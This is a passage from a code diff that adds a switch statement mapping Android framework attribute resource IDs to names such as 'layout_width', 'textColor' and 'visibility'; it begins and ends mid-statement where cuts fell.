"homeAsUpIndicator" + case 0x0101031d: + return "homeLayout" + case 0x0101012d: + return "horizontalDivider" + case 0x0101023f: + return "horizontalGap" + case 0x01010353: + return "horizontalScrollViewStyle" + case 0x01010114: + return "horizontalSpacing" + case 0x01010028: + return "host" + case 0x010104de: + return "hyphenationFrequency" + case 0x01010002: + return "icon" + case 0x01010249: + return "iconPreview" + case 0x010102fa: + return "iconifiedByDefault" + case 0x010100d0: + return "id" + case 0x010101ff: + return "ignoreGravity" + case 0x01010072: + return "imageButtonStyle" + case 0x01010073: + return "imageWellStyle" + case 0x01010266: + return "imeActionId" + case 0x01010265: + return "imeActionLabel" + case 0x01010268: + return "imeExtractEnterAnimation" + case 0x01010269: + return "imeExtractExitAnimation" + case 0x0101022c: + return "imeFullscreenBackground" + case 0x01010264: + return "imeOptions" + case 0x010102ee: + return "imeSubtypeExtraValue" + case 0x010102ec: + return "imeSubtypeLocale" + case 0x010102ed: + return "imeSubtypeMode" + case 0x010102c0: + return "immersive" + case 0x010103aa: + return "importantForAccessibility" + case 0x01010177: + return "inAnimation" + case 0x0101015f: + return "includeFontPadding" + case 0x0101026e: + return "includeInGlobalSearch" + case 0x01010139: + return "indeterminate" + case 0x0101013e: + return "indeterminateBehavior" + case 0x0101013b: + return "indeterminateDrawable" + case 0x0101013d: + return "indeterminateDuration" + case 0x0101013a: + return "indeterminateOnly" + case 0x01010318: + return "indeterminateProgressStyle" + case 0x01010469: + return "indeterminateTint" + case 0x0101046a: + return "indeterminateTintMode" + case 0x010103d2: + return "indicatorEnd" + case 0x0101010d: + return "indicatorLeft" + case 0x0101010e: + return "indicatorRight" + case 0x010103d1: + return "indicatorStart" + case 0x010100f3: + return "inflatedId" + case 0x0101001a: + return "initOrder" + case 0x010103c2: + return "initialKeyguardLayout" + case 0x01010251: + return "initialLayout" + case 0x0101025f: + return "innerRadius" + case 0x0101019b: + return "innerRadiusRatio" + case 0x01010168: + return "inputMethod" + case 0x01010220: + return "inputType" + case 0x010104b5: + return "inset" + case 0x010101ba: + return "insetBottom" + case 0x010101b7: + return "insetLeft" + case 0x010101b8: + return "insetRight" + case 0x010101b9: + return "insetTop" + case 0x010102b7: + return "installLocation" + case 0x01010141: + return "interpolator" + case 0x01010333: + return "isAlwaysSyncable" + case 0x010103e9: + return "isAsciiCapable" + case 0x0101037f: + return "isAuxiliary" + case 0x01010221: + return "isDefault" + case 0x010103f4: + return "isGame" + case 0x01010147: + return "isIndicator" + case 0x01010246: + return "isModifier" + case 0x01010248: + return "isRepeatable" + case 0x0101024e: + return "isScrollContainer" + case 0x01010247: + return "isSticky" + case 0x010103a9: + return "isolatedProcess" + case 0x01010130: + return "itemBackground" + case 0x01010131: + return "itemIconDisabledAlpha" + case 0x0101032d: + return "itemPadding" + case 0x0101012c: + return "itemTextAppearance" + case 0x01010216: + return "keepScreenOn" + case 0x010101e8: + return "key" + case 0x01010233: + return "keyBackground" + case 0x01010245: + return "keyEdgeFlags" + case 0x0101023e: + return "keyHeight" + case 0x0101024c: + return "keyIcon" + case 0x0101024b: + return "keyLabel" + case 0x0101024a: + return "keyOutputText" + case 0x01010239: + return "keyPreviewHeight" + case 0x01010237: + return "keyPreviewLayout" + case 0x01010238: + return "keyPreviewOffset" + case 0x010103db: + return "keySet" + case 0x01010236: + return "keyTextColor" + case 0x01010234: + return "keyTextSize" + case 0x0101023d: + return "keyWidth" + case 0x010103ab: + return "keyboardLayout" + case 0x0101024d: + return "keyboardMode" + case 0x010100c5: + return "keycode" + case 0x0101029c: + return "killAfterRestore" + case 0x01010001: + return "label" + case 0x010103c6: + return "labelFor" + case 0x01010235: + return "labelTextSize" + case 0x0101035a: + return "largeHeap" + case 0x01010286: + return "largeScreens" + case 0x01010366: + return "largestWidthLimitDp" + case 0x0101001d: + return "launchMode" + case 0x01010492: + return "launchTaskBehindSourceAnimation" + case 0x01010491: + return "launchTaskBehindTargetAnimation" + case 0x01010354: + return "layerType" + case 0x010100f2: + return "layout" + case 0x010100ec: + return "layoutAnimation" + case 0x010103b2: + return "layoutDirection" + case 0x010103da: + return "layoutMode" + case 0x01010184: + return "layout_above" + case 0x01010186: + return "layout_alignBaseline" + case 0x0101018a: + return "layout_alignBottom" + case 0x010103ba: + return "layout_alignEnd" + case 0x01010187: + return "layout_alignLeft" + case 0x0101018e: + return "layout_alignParentBottom" + case 0x010103bc: + return "layout_alignParentEnd" + case 0x0101018b: + return "layout_alignParentLeft" + case 0x0101018d: + return "layout_alignParentRight" + case 0x010103bb: + return "layout_alignParentStart" + case 0x0101018c: + return "layout_alignParentTop" + case 0x01010189: + return "layout_alignRight" + case 0x010103b9: + return "layout_alignStart" + case 0x01010188: + return "layout_alignTop" + case 0x01010192: + return "layout_alignWithParentIfMissing" + case 0x01010185: + return "layout_below" + case 0x01010190: + return "layout_centerHorizontal" + case 0x0101018f: + return "layout_centerInParent" + case 0x01010191: + return "layout_centerVertical" + case 0x0101014c: + return "layout_column" + case 0x0101037d: + return "layout_columnSpan" + case 0x01010459: + return "layout_columnWeight" + case 0x010100b3: + return "layout_gravity" + case 0x010100f5: + return "layout_height" + case 0x010100f6: + return "layout_margin" + case 0x010100fa: + return "layout_marginBottom" + case 0x010103b6: + return "layout_marginEnd" + case 0x010100f7: + return "layout_marginLeft" + case 0x010100f9: + return "layout_marginRight" + case 0x010103b5: + return "layout_marginStart" + case 0x010100f8: + return "layout_marginTop" + case 0x0101037b: + return "layout_row" + case 0x0101037c: + return "layout_rowSpan" + case 0x01010458: + return "layout_rowWeight" + case 0x01010193: + return "layout_scale" + case 0x0101014d: + return "layout_span" + case 0x010103b8: + return "layout_toEndOf" + case 0x01010182: + return "layout_toLeftOf" + case 0x01010183: + return "layout_toRightOf" + case 0x010103b7: + return "layout_toStartOf" + case 0x01010181: + return "layout_weight" + case 0x010100f4: + return "layout_width" + case 0x0101017f: + return "layout_x" + case 0x01010180: + return "layout_y" + case 0x010101ad: + return "left" + case 0x010104b6: + return "letterSpacing" + case 0x01010217: + return "lineSpacingExtra" + case 0x01010218: + return "lineSpacingMultiplier" + case 0x01010154: + return "lines" + case 0x010100b1: + return "linksClickable" + case 0x010102f0: + return "listChoiceBackgroundIndicator" + case 0x0101021a: + return "listChoiceIndicatorMultiple" + case 0x01010219: + return "listChoiceIndicatorSingle" + case 0x01010214: + return "listDivider" + case 0x01010305: + return "listDividerAlertDialog" + case 0x010102ff: + return "listPopupWindowStyle" + case 0x0101004d: + return "listPreferredItemHeight" + case 0x01010386: + return "listPreferredItemHeightLarge" + case 0x01010387: + return "listPreferredItemHeightSmall" + case 0x010103be: + return "listPreferredItemPaddingEnd" + case 0x010103a3: + return "listPreferredItemPaddingLeft" + case 0x010103a4: + return "listPreferredItemPaddingRight" + case 0x010103bd: + return "listPreferredItemPaddingStart" + case 0x010100fb: + return "listSelector" + case 0x01010208: + return "listSeparatorTextViewStyle" + case 0x01010074: + return "listViewStyle" + case 0x01010075: + return "listViewWhiteStyle" + case 0x010104ed: + return "lockTaskMode" + case 0x010102be: + return "logo" + case 0x010104e9: + return "logoDescription" + case 0x010100e6: + return "longClickable" + case 0x01010307: + return "loopViews" + case 0x01010004: + return "manageSpaceActivity" + case 0x0101008a: + return "mapViewStyle" + case 0x0101021d: + return "marqueeRepeatLimit" + case 0x0101044f: + return "matchOrder" + case 0x01010136: + return "max" + case 0x01010340: + return "maxDate" + case 0x01010157: + return "maxEms" + case 0x01010120: + return "maxHeight" + case 0x01010134: + return "maxItemsPerRow" + case 0x01010160: + return "maxLength" + case 0x010101b2: + return "maxLevel" + case 0x01010153: + return "maxLines" + case 0x01010446: + return "maxRecents" + case 0x01010133: + return "maxRows" + case 0x01010271: + return "maxSdkVersion" + case 0x0101011f: + return "maxWidth" + case 0x0101047f: + return "maximumAngle" + case 0x0101010a: + return "measureAllChildren" + case 0x010102d4: + return "measureWithLargestChild" + case 0x010103ad: + return "mediaRouteButtonStyle" + case 0x010103ae: + return "mediaRouteTypes" + case 0x010101de: + return "menuCategory" + case 0x01010026: + return "mimeType" + case 0x0101033f: + return "minDate" + case 0x0101015a: + return "minEms" + case 0x01010140: + return "minHeight" + case 0x010101b1: + return "minLevel" + case 0x01010156: + return "minLines" + case 0x01010396: + return "minResizeHeight" + case 0x01010395: + return "minResizeWidth" + case 0x0101020c: + return "minSdkVersion" + case 0x0101013f: + return "minWidth" + case 0x0101047d: + return "minimumHorizontalAngle" + case 0x0101047e: + return "minimumVerticalAngle" + case 0x010103cd: + return "mipMap" + case 0x010103ce: + return "mirrorForRtl" + case 0x0101017e: + return "mode" + case 0x01010135: + return "moreIcon" + case 0x0101048e: + return "multiArch" + case 0x01010013: + return "multiprocess" + case 0x01010003: + return "name" + case 0x01010452: + return "navigationBarColor" + case 0x010104c1: + return "navigationContentDescription" + case 0x010104c0: + return "navigationIcon" + case 0x010102cf: + return "navigationMode" + case 0x010101f6: + return "negativeButtonText" + case 0x01010436: + return "nestedScrollingEnabled" + case 0x010100e4: + return "nextFocusDown" + case 0x0101033c: + return "nextFocusForward" + case 0x010100e1: + return "nextFocusLeft" + case 0x010100e2: + return "nextFocusRight" + case 0x010100e3: + return "nextFocusUp" + case 0x0101022d: + return "noHistory" + case 0x01010285: + return "normalScreens" + case 0x01010383: + return "notificationTimeout" + case 0x01010118: + return "numColumns" + case 0x01010144: + return "numStars" + case 0x010104a2: + return "numbersBackgroundColor" + case 0x010104e1: + return "numbersInnerTextColor" + case 0x010104a3: + return "numbersSelectorColor" + case 0x010104a1: + return "numbersTextColor" + case 0x01010165: + return "numeric" + case 0x010101e4: + return "numericShortcut" + case 0x0101026f: + return "onClick" + case 0x01010197: + return "oneshot" + case 0x0101031e: + return "opacity" + case 0x010101ea: + return "order" + case 0x010101df: + return "orderInCategory" + case 0x010102e2: + return "ordering" + case 0x010101e7: + return "orderingFromXml" + case 0x010100c4: + return "orientation" + case 0x01010178: + return "outAnimation" + case 0x010104b8: + return "outlineProvider" + case 0x010102c3: + return "overScrollFooter" + case 0x010102c2: + return "overScrollHeader" + case 0x010102c1: + return "overScrollMode" + case 0x01010462: + return "overlapAnchor" + case 0x010103a2: + return "overridesImplicitlyEnabledSubtype" + case 0x01010381: + return "packageNames" + case 0x010100d5: + return "padding" + case 0x010100d9: + return "paddingBottom" + case 0x010103b4: + return "paddingEnd" + case 0x010100d6: + return "paddingLeft" + case 0x01010457: + return "paddingMode" + case 0x010100d8: + return "paddingRight" + case 0x010103b3: + return "paddingStart" + case 0x010100d7: + return "paddingTop" + case 0x0101005e: + return "panelBackground" + case 0x01010061: + return "panelColorBackground" + case 0x01010060: + return "panelColorForeground" + case 0x0101005f: + return "panelFullBackground" + case 0x01010062: + return "panelTextAppearance" + case 0x010103a7: + return "parentActivityName" + case 0x0101015c: + return "password" + case 0x0101002a: + return "path" + case 0x01010405: + return "pathData" + case 0x0101002c: + return "pathPattern" + case 0x0101002b: + return "pathPrefix" + case 0x010104ca: + return "patternPathData" + case 0x01010006: + return "permission" + case 0x010103c7: + return "permissionFlags" + case 0x0101000a: + return "permissionGroup" + case 0x010103c5: + return "permissionGroupFlags" + case 0x0101042d: + return "persistableMode" + case 0x0101000d: + return "persistent" + case 0x010100ee: + return "persistentDrawingCache" + case 0x01010167: + return "phoneNumber" + case 0x010101b5: + return "pivotX" + case 0x010101b6: + return "pivotY" + case 0x010102c9: + return "popupAnimationStyle" + case 0x01010176: + return "popupBackground" + case 0x01010244: + return "popupCharacters" + case 0x0101048c: + return "popupElevation" + case 0x01010243: + return "popupKeyboard" + case 0x0101023b: + return "popupLayout" + case 0x01010300: + return "popupMenuStyle" + case 0x010104a9: + return "popupTheme" + case 0x01010076: + return "popupWindowStyle" + case 0x01010029: + return "port" + case 0x010101f5: + return "positiveButtonText" + case 0x0101008c: + return "preferenceCategoryStyle" + case 0x0101008d: + return "preferenceInformationStyle" + case 0x01010094: + return "preferenceLayoutChild" + case 0x0101008b: + return "preferenceScreenStyle" + case 0x0101008e: + return "preferenceStyle" + case 0x010103c0: + return "presentationTheme" + case 0x010102da: + return "previewImage" + case 0x0101001c: + return "priority" + case 0x01010223: + return "privateImeOptions" + case 0x01010011: + return "process" + case 0x01010137: + return "progress" + case 0x01010465: + return "progressBackgroundTint" + case 0x01010466: + return "progressBackgroundTintMode" + case 0x01010319: + return "progressBarPadding" + case 0x01010077: + return "progressBarStyle" + case 0x01010078: + return "progressBarStyleHorizontal" + case 0x01010287: + return "progressBarStyleInverse" + case 0x0101007a: + return "progressBarStyleLarge" + case 0x01010289: + return "progressBarStyleLargeInverse" + case 0x01010079: + return "progressBarStyleSmall" + case 0x01010288: + return "progressBarStyleSmallInverse" + case 0x0101020f: + return "progressBarStyleSmallTitle" + case 0x0101013c: + return "progressDrawable" + case 0x01010463: + return "progressTint" + case 0x01010464: + return "progressTintMode" + case 0x0101017b: + return "prompt" + case 0x010102e1: + return "propertyName" + case 0x01010474: + return "propertyXName" + case 0x01010475: + return "propertyYName" + case 0x01010009: + return "protectionLevel" + case 0x010103a6: + return "publicKey" + case 0x010101db: + return "queryActionMsg" + case 0x01010282: + return "queryAfterZeroResults" + case 0x01010487: + return "queryBackground" + case 0x01010358: + return "queryHint" + case 0x010102b3: + return "quickContactBadgeStyleSmallWindowLarge" + case 0x010102b2: + return "quickContactBadgeStyleSmallWindowMedium" + case 0x010102b1: + return "quickContactBadgeStyleSmallWindowSmall" + case 0x010102b0: + return "quickContactBadgeStyleWindowLarge" + case 0x010102af: + return "quickContactBadgeStyleWindowMedium" + case 0x010102ae: + return "quickContactBadgeStyleWindowSmall" + case 0x0101007e: + return "radioButtonStyle" + case 0x010101a8: + return "radius" + case 0x01010145: + return "rating" + case 0x0101007c: + return "ratingBarStyle" + case 0x01010210: + return "ratingBarStyleIndicator" + case 0x0101007d: + return "ratingBarStyleSmall" + case 0x01010007: + return "readPermission" + case 0x0101049c: + return "recognitionService" + case 0x01010476: + return "relinquishTaskIdentity" + case 0x010104bc: + return "reparent" + case 0x010104bd: + return "reparentWithOverlay" + case 0x010101bf: + return "repeatCount" + case 0x010101c0: + return "repeatMode" + case 0x01010232: + return "reqFiveWayNav" + case 0x01010229: + return "reqHardKeyboard" + case 0x01010228: + return "reqKeyboardType" + case 0x0101022a: + return "reqNavigation" + case 0x01010227: + return "reqTouchScreen" + case 0x010103ec: + return "requireDeviceUnlock" + case 0x0101028e: + return "required" + case 0x010103d6: + return "requiredAccountType" + case 0x010103d0: + return "requiredForAllUsers" + case 0x010103a5: + return "requiresFadingEdge" + case 0x01010364: + return "requiresSmallestWidthDp" + case 0x010104cf: + return "resizeClip" + case 0x01010363: + return "resizeMode" + case 0x0101028d: + return "resizeable" + case 0x01010025: + return "resource" + case 0x010102ba: + return "restoreAnyVersion" + case 0x0101029d: + return "restoreNeedsApplication" + case 0x010103d5: + return "restrictedAccountType" + case 0x01010493: + return "restrictionType" + case 0x010104b2: + return "resumeWhilePausing" + case 0x0101044b: + return "reversible" + case 0x010104d5: + return "revisionCode" + case 0x010101af: + return "right" + case 0x01010093: + return "ringtonePreferenceStyle" + case 0x010101f9: + return "ringtoneType" + case 0x01010326: + return "rotation" + case 0x01010327: + return "rotationX" + case 0x01010328: + return "rotationY" + case 0x01010375: + return "rowCount" + case 0x010101d0: + return "rowDelay" + case 0x01010241: + return "rowEdgeFlags" + case 0x01010132: + return "rowHeight" + case 0x01010376: + return "rowOrderPreserved" + case 0x010100e7: + return "saveEnabled" + case 0x010101fe: + return "scaleGravity" + case 0x010101fd: + return "scaleHeight" + case 0x0101011d: + return "scaleType" + case 0x010101fc: + return "scaleWidth" + case 0x01010324: + return "scaleX" + case 0x01010325: + return "scaleY" + case 0x01010027: + return "scheme" + case 0x010102cb: + return "screenDensity" + case 0x0101001e: + return "screenOrientation" + case 0x010102ca: + return "screenSize" + case 0x0101015b: + return "scrollHorizontally" + case 0x010104e6: + return "scrollIndicators" + case 0x01010080: + return "scrollViewStyle" + case 0x010100d2: + return "scrollX" + case 0x010100d3: + return "scrollY" + case 0x01010068: + return "scrollbarAlwaysDrawHorizontalTrack" + case 0x01010069: + return "scrollbarAlwaysDrawVerticalTrack" + case 0x010102a9: + return "scrollbarDefaultDelayBeforeFade" + case 0x010102a8: + return "scrollbarFadeDuration" + case 0x01010063: + return "scrollbarSize" + case 0x0101007f: + return "scrollbarStyle" + case 0x01010064: + return "scrollbarThumbHorizontal" + case 0x01010065: + return "scrollbarThumbVertical" + case 0x01010066: + return "scrollbarTrackHorizontal" + case 0x01010067: + return "scrollbarTrackVertical" + case 0x010100de: + return "scrollbars" + case 0x010100fe: + return "scrollingCache" + case 0x01010205: + return "searchButtonText" + case 0x010104d4: + return "searchHintIcon" + case 0x01010483: + return "searchIcon" + case 0x0101045f: + return "searchKeyphrase" + case 0x0101045e: + return "searchKeyphraseId" + case 0x010104a6: + return "searchKeyphraseRecognitionFlags" + case 0x01010460: + return "searchKeyphraseSupportedLocales" + case 0x010101d5: + return "searchMode" + case 0x0101028a: + return "searchSettingsDescription" + case 0x010101d6: + return "searchSuggestAuthority" + case 0x010101d9: + return "searchSuggestIntentAction" + case 0x010101da: + return "searchSuggestIntentData" + case 0x010101d7: + return "searchSuggestPath" + case 0x010101d8: + return "searchSuggestSelection" + case 0x0101026d: + return "searchSuggestThreshold" + case 0x01010480: + return "searchViewStyle" + case 0x01010138: + return "secondaryProgress" + case 0x01010467: + return "secondaryProgressTint" + case 0x01010468: + return "secondaryProgressTintMode" + case 0x0101007b: + return "seekBarStyle" + case 0x01010330: + return "segmentedButtonStyle" + case 0x0101015e: + return "selectAllOnFocus" + case 0x010101e6: + return "selectable" + case 0x0101030e: + return "selectableItemBackground" + case 0x0101045c: + return "selectableItemBackgroundBorderless" + case 0x01010347: + return "selectedDateVerticalBar" + case 0x01010342: + return "selectedWeekBackgroundColor" + case 0x0101043d: + return "sessionService" + case 0x01010225: + return "settingsActivity" + case 0x010103f6: + return "setupActivity" + case 0x01010161: + return "shadowColor" + case 0x01010162: + return "shadowDx" + case 0x01010163: + return "shadowDy" + case 0x01010164: + return "shadowRadius" + case 0x0101019a: + return "shape" + case 0x010101bb: + return "shareInterpolator" + case 0x0101000b: + return "sharedUserId" + case 0x01010261: + return "sharedUserLabel" + case 0x010101ee: + return "shouldDisableView" + case 0x010102d9: + return "showAsAction" + case 0x010101fa: + return "showDefault" + case 0x01010329: + return "showDividers" + case 0x010104ef: + return "showForAllUsers" + case 0x010103c9: + return "showOnLockScreen" + case 0x010101fb: + return "showSilent" + case 0x010104ad: + return "showText" + case 0x0101033e: + return "showWeekNumber" + case 0x01010341: + return "shownWeekCount" + case 0x0101014a: + return "shrinkColumns" + case 0x0101015d: + return "singleLine" + case 0x010103bf: + return "singleUser" + case 0x01010430: + return "slideEdge" + case 0x0101029e: + return "smallIcon" + case 0x01010284: + return "smallScreens" + case 0x01010231: + return "smoothScrollbar" + case 0x0101034a: + return "solidColor" + case 0x01010215: + return "soundEffectsEnabled" + case 0x01010113: + return "spacing" + case 0x01010087: + return "spinnerDropDownItemStyle" + case 0x01010089: + return "spinnerItemStyle" + case 0x010102f1: + return "spinnerMode" + case 0x01010081: + return "spinnerStyle" + case 0x0101034b: + return "spinnersShown" + case 0x010102ef: + return "splitMotionEvents" + case 0x0101044c: + return "splitTrack" + case 0x010104bf: + return "spotShadowAlpha" + case 0x01010119: + return "src" + case 0x010103e3: + return "ssp" + case 0x010103e5: + return "sspPattern" + case 0x010103e4: + return "sspPrefix" + case 0x010100fd: + return "stackFromBottom" + case 0x0101043e: + return "stackViewStyle" + case 0x01010082: + return "starStyle" + case 0x010104db: + return "start" + case 0x0101019d: + return "startColor" + case 0x010103e2: + return "startDelay" + case 0x010101be: + return "startOffset" + case 0x0101017c: + return "startYear" + case 0x01010448: + return "stateListAnimator" + case 0x01010016: + return "stateNotNeeded" + case 0x010100aa: + return "state_above_anchor" + case 0x0101031b: + return "state_accelerated" + case 0x010102fe: + return "state_activated" + case 0x010100a2: + return "state_active" + case 0x0101009f: + return "state_checkable" + case 0x010100a0: + return "state_checked" + case 0x01010368: + return "state_drag_can_accept" + case 0x01010369: + return "state_drag_hovered" + case 0x010100a9: + return "state_empty" + case 0x0101009e: + return "state_enabled" + case 0x010100a8: + return "state_expanded" + case 0x010100a4: + return "state_first" + case 0x0101009c: + return "state_focused" + case 0x01010367: + return "state_hovered" + case 0x010100a6: + return "state_last" + case 0x0101023c: + return "state_long_pressable" + case 0x010100a5: + return "state_middle" + case 0x0101034d: + return "state_multiline" + case 0x010100a7: + return "state_pressed" + case 0x010100a1: + return "state_selected" + case 0x010100a3: + return "state_single" + case 0x0101009d: + return "state_window_focused" + case 0x01010331: + return "staticWallpaperPreview" + case 0x01010451: + return "statusBarColor" + case 0x01010146: + return "stepSize" + case 0x0101036a: + return "stopWithTask" + case 0x01010209: + return "streamType" + case 0x01010149: + return "stretchColumns" + case 0x01010116: + return "stretchMode" + case 0x010104cb: + return "strokeAlpha" + case 0x01010406: + return "strokeColor" + case 0x0101040b: + return "strokeLineCap" + case 0x0101040c: + return "strokeLineJoin" + case 0x0101040d: + return "strokeMiterLimit" + case 0x01010407: + return "strokeWidth" + case 0x01010488: + return "submitBackground" + case 0x010102d1: + return "subtitle" + case 0x0101042f: + return "subtitleTextAppearance" + case 0x010104e4: + return "subtitleTextColor" + case 0x010102f9: + return "subtitleTextStyle" + case 0x0101039a: + return "subtypeExtraValue" + case 0x010103c1: + return "subtypeId" + case 0x01010399: + return "subtypeLocale" + case 0x010101dc: + return "suggestActionMsg" + case 0x010101dd: + return "suggestActionMsgColumn" + case 0x01010486: + return "suggestionRowLayout" + case 0x010101e9: + return "summary" + case 0x010102a2: + return "summaryColumn" + case 0x010101f0: + return "summaryOff" + case 0x010101ef: + return "summaryOn" + case 0x010104f0: + return "supportsAssist" + case 0x010104f1: + return "supportsLaunchVoiceAssistFromKeyguard" + case 0x010103af: + return "supportsRtl" + case 0x010103eb: + return "supportsSwitchingToNextInputMethod" + case 0x0101029b: + return "supportsUploading" + case 0x01010370: + return "switchMinWidth" + case 0x01010371: + return "switchPadding" + case 0x0101036d: + return "switchPreferenceStyle" + case 0x0101043f: + return "switchStyle" + case 0x0101036e: + return "switchTextAppearance" + case 0x0101036c: + return "switchTextOff" + case 0x0101036b: + return "switchTextOn" + case 0x01010019: + return "syncable" + case 0x010102bd: + return "tabStripEnabled" + case 0x010102bb: + return "tabStripLeft" + case 0x010102bc: + return "tabStripRight" + case 0x01010083: + return "tabWidgetStyle" + case 0x010100d1: + return "tag" + case 0x01010202: + return "targetActivity" + case 0x0101002f: + return "targetClass" + case 0x010103a0: + return "targetDescriptions" + case 0x010103dc: + return "targetId" + case 0x0101044d: + return "targetName" + case 0x01010021: + return "targetPackage" + case 0x01010270: + return "targetSdkVersion" + case 0x01010012: + return "taskAffinity" + case 0x010100be: + return "taskCloseEnterAnimation" + case 0x010100bf: + return "taskCloseExitAnimation" + case 0x010100bc: + return "taskOpenEnterAnimation" + case 0x010100bd: + return "taskOpenExitAnimation" + case 0x010100c2: + return "taskToBackEnterAnimation" + case 0x010100c3: + return "taskToBackExitAnimation" + case 0x010100c0: + return "taskToFrontEnterAnimation" + case 0x010100c1: + return "taskToFrontExitAnimation" + case 0x0101026a: + return "tension" + case 0x01010272: + return "testOnly" + case 0x0101014f: + return "text" + case 0x010103b1: + return "textAlignment" + case 0x0101038c: + return "textAllCaps" + case 0x01010034: + return "textAppearance" + case 0x01010207: + return "textAppearanceButton" + case 0x01010035: + return "textAppearanceInverse" + case 0x01010040: + return "textAppearanceLarge" + case 0x01010043: + return "textAppearanceLargeInverse" + case 0x01010301: + return "textAppearanceLargePopupMenu" + case 0x0101039e: + return "textAppearanceListItem" + case 0x01010432: + return "textAppearanceListItemSecondary" + case 0x0101039f: + return "textAppearanceListItemSmall" + case 0x01010041: + return "textAppearanceMedium" + case 0x01010044: + return "textAppearanceMediumInverse" + case 0x010102a0: + return "textAppearanceSearchResultSubtitle" + case 0x010102a1: + return "textAppearanceSearchResultTitle" + case 0x01010042: + return "textAppearanceSmall" + case 0x01010045: + return "textAppearanceSmallInverse" + case 0x01010302: + return "textAppearanceSmallPopupMenu" + case 0x01010046: + return "textCheckMark" + case 0x01010047: + return "textCheckMarkInverse" + case 0x01010098: + return "textColor" + case 0x01010306: + return "textColorAlertDialogListItem" + case 0x01010099: + return "textColorHighlight" + case 0x0101034f: + return "textColorHighlightInverse" + case 0x0101009a: + return "textColorHint" + case 0x0101003f: + return "textColorHintInverse" + case 0x0101009b: + return "textColorLink" + case 0x01010350: + return "textColorLinkInverse" + case 0x01010036: + return "textColorPrimary" + case 0x01010037: + return "textColorPrimaryDisableOnly" + case 0x01010039: + return "textColorPrimaryInverse" + case 0x0101028b: + return "textColorPrimaryInverseDisableOnly" + case 0x0101003d: + return "textColorPrimaryInverseNoDisable" + case 0x0101003b: + return "textColorPrimaryNoDisable" + case 0x01010038: + return "textColorSecondary" + case 0x0101003a: + return "textColorSecondaryInverse" + case 0x0101003e: + return "textColorSecondaryInverseNoDisable" + case 0x0101003c: + return "textColorSecondaryNoDisable" + case 0x01010212: + return "textColorTertiary" + case 0x01010213: + return "textColorTertiaryInverse" + case 0x01010362: + return "textCursorDrawable" + case 0x010103b0: + return "textDirection" + case 0x01010315: + return "textEditNoPasteWindowLayout" + case 0x01010314: + return "textEditPasteWindowLayout" + case 0x0101035f: + return "textEditSideNoPasteWindowLayout" + case 0x0101035e: + return "textEditSidePasteWindowLayout" + case 0x01010374: + return "textEditSuggestionItemLayout" + case 0x010100ff: + return "textFilterEnabled" + case 0x01010316: + return "textIsSelectable" + case 0x01010125: + return "textOff" + case 0x01010124: + return "textOn" + case 0x01010151: + return "textScaleX" + case 0x010102c7: + return "textSelectHandle" + case 0x010102c5: + return "textSelectHandleLeft" + case 0x010102c6: + return "textSelectHandleRight" + case 0x010102c8: + return "textSelectHandleWindowStyle" + case 0x01010095: + return "textSize" + case 0x01010097: + return "textStyle" + case 0x01010373: + return "textSuggestionsWindowStyle" + case 0x01010084: + return "textViewStyle" + case 0x01010000: + return "theme" + case 0x01010260: + return "thickness" + case 0x0101019c: + return "thicknessRatio" + case 0x01010142: + return "thumb" + case 0x01010143: + return "thumbOffset" + case 0x010104e5: + return "thumbPosition" + case 0x01010372: + return "thumbTextPadding" + case 0x01010471: + return "thumbTint" + case 0x01010472: + return "thumbTintMode" + case 0x010102a5: + return "thumbnail" + case 0x01010201: + return "tileMode" + case 0x01010477: + return "tileModeX" + case 0x01010478: + return "tileModeY" + case 0x0101049e: + return "timePickerDialogTheme" + case 0x010104b4: + return "timePickerMode" + case 0x0101049d: + return "timePickerStyle" + case 0x010103cc: + return "timeZone" + case 0x01010121: + return "tint" + case 0x010103fb: + return "tintMode" + case 0x010101e1: + return "title" + case 0x010101e2: + return "titleCondensed" + case 0x0101042e: + return "titleTextAppearance" + case 0x010104e3: + return "titleTextColor" + case 0x010102f8: + return "titleTextStyle" + case 0x010101cb: + return "toAlpha" + case 0x010101b4: + return "toDegrees" + case 0x01010449: + return "toId" + case 0x010103de: + return "toScene" + case 0x010101c7: + return "toXDelta" + case 0x010101c3: + return "toXScale" + case 0x010101c9: + return "toYDelta" + case 0x010101c5: + return "toYScale" + case 0x010104aa: + return "toolbarStyle" + case 0x010101ae: + return "top" + case 0x010100cb: + return "topBright" + case 0x010100c7: + return "topDark" + case 0x010101a9: + return "topLeftRadius" + case 0x01010258: + return "topOffset" + case 0x010101aa: + return "topRightRadius" + case 0x0101048f: + return "touchscreenBlocksFocus" + case 0x0101036f: + return "track" + case 0x010104d9: + return "trackTint" + case 0x010104da: + return "trackTintMode" + case 0x01010100: + return "transcriptMode" + case 0x01010320: + return "transformPivotX" + case 0x01010321: + return "transformPivotY" + case 0x010103df: + return "transition" + case 0x01010401: + return "transitionGroup" + case 0x01010400: + return "transitionName" + case 0x010103e0: + return "transitionOrdering" + case 0x0101047c: + return "transitionVisibilityMode" + case 0x0101045a: + return "translateX" + case 0x0101045b: + return "translateY" + case 0x01010322: + return "translationX" + case 0x01010323: + return "translationY" + case 0x010103fa: + return "translationZ" + case 0x01010409: + return "trimPathEnd" + case 0x0101040a: + return "trimPathOffset" + case 0x01010408: + return "trimPathStart" + case 0x010101a1: + return "type" + case 0x01010096: + return "typeface" + case 0x01010398: + return "uiOptions" + case 0x01010276: + return "uncertainGestureColor" + case 0x01010344: + return "unfocusedMonthDateColor" + case 0x0101020e: + return "unselectedAlpha" + case 0x01010250: + return "updatePeriodMillis" + case 0x01010379: + return "useDefaultMargins" + case 0x01010310: + return "useIntrinsicSizeAsMinimum" + case 0x0101019f: + return "useLevel" + case 0x01010291: + return "userVisible" + case 0x010104ec: + return "usesCleartextTraffic" + case 0x01010024: + return "value" + case 0x010102de: + return "valueFrom" + case 0x010102df: + return "valueTo" + case 0x010102e0: + return "valueType" + case 0x01010195: + return "variablePadding" + case 0x010103e7: + return "vendor" + case 0x0101021b: + return "versionCode" + case 0x0101021c: + return "versionName" + case 0x0101023a: + return "verticalCorrection" + case 0x0101012e: + return "verticalDivider" + case 0x01010240: + return "verticalGap" + case 0x01010334: + return "verticalScrollbarPosition" + case 0x01010115: + return "verticalSpacing" + case 0x01010403: + return "viewportHeight" + case 0x01010402: + return "viewportWidth" + case 0x010100dc: + return "visibility" + case 0x01010194: + return "visible" + case 0x010102b8: + return "vmSafeMode" + case 0x01010484: + return "voiceIcon" + case 0x01010255: + return "voiceLanguage" + case 0x01010253: + return "voiceLanguageModel" + case 0x01010256: + return "voiceMaxResults" + case 0x01010254: + return "voicePromptText" + case 0x01010252: + return "voiceSearchMode" + case 0x01010295: + return "wallpaperCloseEnterAnimation" + case 0x01010296: + 